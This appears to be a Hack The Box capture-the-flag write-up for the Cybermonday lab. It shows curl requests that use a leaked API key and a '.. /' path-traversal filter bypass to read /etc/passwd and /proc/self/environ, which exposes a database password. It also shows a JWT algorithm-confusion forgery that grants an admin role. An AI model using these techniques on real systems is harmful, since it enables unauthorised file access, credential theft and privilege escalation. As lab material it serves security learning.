File_Read_via_API
As discovered earlier, the source code of the webhook API application was revealed, which contained 2 hidden actions that could be invoked with a secret key to perform file read
- those 2 actions are
list
andread
- a header is the secret key;
x_api_key: 22892e36-1770-11ee-be56-0242ac120002
It seems that the only requirement to access those 2 actions is the header above, but I will attempt to satisfy the admin condition for satety
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl -x post http://webhooks-api-beta.cybermonday.htb/auth/register -H "Content-Type: application/json" -d '{"username": "adm1n", "password": "qwe123"}'
{"status":"success","message":"success"}
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl -x post http://webhooks-api-beta.cybermonday.htb/auth/login -H "Content-Type: application/json" -d '{"username": "adm1n", "password": "qwe123"}'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ"}}
I will first create a new user, adm1n
, and authenticate to the API endpoint to to receive the session token; x-access-token
x-access-token
is a JWT
using the online tool, jwt.io, those decoded attributes can be seen
The new user has
user
role as it is a predefined attribute
But I can change that
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ
I can then just change those attributes and supply the private key pair to sign the forged JWT
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "X_API_KEY: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "list"}'
{"status":"error","message":"Unauthorized"}
It initially failed.
Maybe it’s x-api-key
instead of x_api_key
. Much like the other header; x-access-token
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "list"}'
{"status":"success","message":["log1-1692725460.log","tests-1692735539.log"]}
It worked and listed the files in the directory co-responding to the fda96d32-e8c8-4301-8fb3-c821a316cf77
uuid
Additionally, It was indeed x-api-key
instead of x_api_key
www-data@070370e2cdc4:/tmp$ ll /mnt/logs/tests
total 16K
4.0k drwxr-xr-x 2 root root 4.0k aug 22 20:18 .
4.0k -rw-r--r-- 1 root root 3 aug 22 20:18 tests-1692735539.log
4.0k drwxrwxrwx 4 root root 4.0k aug 22 17:52 ..
4.0k -rw-r--r-- 1 root root 12 aug 22 17:31 log1-1692725460.log
I can see that it listed those 2 files that I created earlier from testing
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "read"}'
{"status":"error","message":"\"log_name\" not defined"}
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"log_name": "log1-1692725460.log", "action": "read"}'
{"status":"success","message":"hello world\n"}
The read
action requires the log_name
parameter
Now that I have confirm both list
and read
actions, I will look into potential LFI
LFI
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"log_name": "../../../cat/passwd", "action": "read"}'
{"status":"error","message":"This log does not exist"}
Going straight back up to the parent directories doesn’t work. There is a reason for that.
Looking back at the source code, I can see that there are 3 input validations for the
read
action;
if(preg_match("/\.\.\//", $logName))
- preventing the input string contains the
../
sequence
- preventing the input string contains the
$logName = str_replace(' ', '', $logName)
- removal of whitespace in the
$logName
variable
- removal of whitespace in the
if(stripos($logName, "log") === false)
- checking whether the string variable
$logName
contains the substring “log”
- checking whether the string variable
Solution;
- The 1st and 2nd input validations can be bypassed by placing a input string of
.. /
- the whitespace will be removed by the 2nd input validation, forming
../
- the 1st input validation only checks for the string literal of
../
- the 1st input validation only checks for the string literal of
- the whitespace will be removed by the 2nd input validation, forming
- The 3rd input validation is found to be trickier, but it can be worked around by using the pre-existing string, “log”, in the directory;
/mnt/logs
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"log_name": ".. /.. /logs/.. /.. /etc/passwd", "action": "read"}'
{"status":"success","message":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n"}
LFI confirmed!
Turned Out To Be 172.18.0.4
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "read", "log_name": ".. /.. /logs/.. /.. /etc/hosts"}'
{"status":"success","message":"127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.18.0.4\te1862f4e1242\n"}
Checking the IP address via the /etc/hosts
file reveals that this is NOT the initial Docker container (172.18.0.5
) that I gained a foothold to
This Docker container has an IP address of 172.18.0.4
that is hosting the cybermonday_api
instance
So this means that I have been interacting with the 172.18.0.4
host with the same mount configuration as the 172.18.0.5
host
basically, the 10.10.11.228:/home/john
directory is mounted to both 172.18.0.4:/mnt
and 172.18.0.5:/mnt
directories
Nonetheless, I will check the environment variables, which reads from the /proc/self/environ
file
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "read", "log_name": ".. /.. /logs/.. /.. /proc/self/environ "}'
{"status":"success","message":"HOSTNAME=e1862f4e1242\u0000PHP_INI_DIR=\/usr\/local\/etc\/php\u0000HOME=\/root\u0000PHP_LDFLAGS=-Wl,-O1 -pie\u0000PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000DBPASS=ngFfX2L71Nu\u0000PHP_VERSION=8.2.7\u0000GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\u0000PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\u0000PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\u0000DBHOST=db\u0000DBUSER=dbuser\u0000PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\u0000DBNAME=webhooks_api\u0000PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\u0000PWD=\/var\/www\/html\u0000PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\u0000"}
checking the /proc/self/environ
file reveals the cleartext db credential; dbuser
:ngFfX2L71Nu
The password appears to be unique. I should test it for password reuse from the john
user
Apparently, It’s pretty common to supply docker containers credentials in environment variables. That way, when storing images in a registry, people can’t just steal the credentials for the production systems
or
I could do the same thing
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJ1c2VyIn0.I0nTUcoG7-IDHPOmNWjNhWZyFVDPpD3wpf0JKWJIe4OGdpql5J5n_Gaz79DY3nPJ5w0vT4JLfG4RFv_H3JVXG1j2CfRpnGGoreROZzuZphObeoNlWrVRoQJRSwx5X3cbFFVyNJUipcBQAkUZLpLf1b5FcOC2rnEtrqueOga1X5wwkTkFLylr-6DYuAOYuJdsyUwixTIXpuGta7Mdy2ECodMLEnidACOOrb6xsrWADVD528tejatvdbk7R1IE1JLeteZnNAJ5bMBKq1tPbI1pGMP5Iy8hyQTgHa-1sC44TZKyoLtgDq3lAhh7MpHGv9KG3v38eQQ3ZPYwgJoSsdjMRQ -V -jw jwks2.json
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
JWKS Contents:
Number of keys: 1
--------
Key 1
Key 1
[+] kty = RSA
[+] use = sig
[+] alg = RS256
[+] n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
[+] e = AQAB
Found RSA key factors, generating a public key
[+] kid_0_1692737547.pem
Attempting to verify token using kid_0_1692737547.pem
RSA Signature is VALID
Extracting the public key from the secret jwks2.json
key
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ diff kid_0_1692701769.pem docker/cybermonday_api/decompressed/var/www/html/keys/public.pem
The resulted kid_0_1692737547.pem
key is indeed identical to the keys/public.pem
file
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJhZG1pbiJ9.nW-WiqzKDPSgOsYrVVFb8zsnZqxM5x_g1ybs9g2Jfz8
Changing the those attributes for forgery
- Now the newly created
adm1n
user is anadmin
user alg
is switched toHS256
to perform the algorithm confusion technique
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks2.json
I will grab the secret key again just to be safe and saved to the jwks2.json
file
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJhZG1pbiJ9.nW-WiqzKDPSgOsYrVVFb8zsnZqxM5x_g1ybs9g2Jfz8 -S hs256 -k kid_0_1692737547.pem
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
Token payload values:
[+] id = 3
[+] username = "adm1n"
[+] role = "admin"
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
jwttool_fbcc728dea3c6118d1f2bb3fd962d837 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJhZG1pbiJ9.QmLs_1onz0I2lcRQ1Gg1S8GnJOTPsFHSQFiVjH9Ieu0
Signing with the public key
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MywidXNlcm5hbWUiOiJhZG0xbiIsInJvbGUiOiJhZG1pbiJ9.QmLs_1onz0I2lcRQ1Gg1S8GnJOTPsFHSQFiVjH9Ieu0" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" -H "Content-Type: application/json" -d '{"action": "list"}'
{"status":"success","message":["log1-1692725460.log","tests-1692735539.log"]}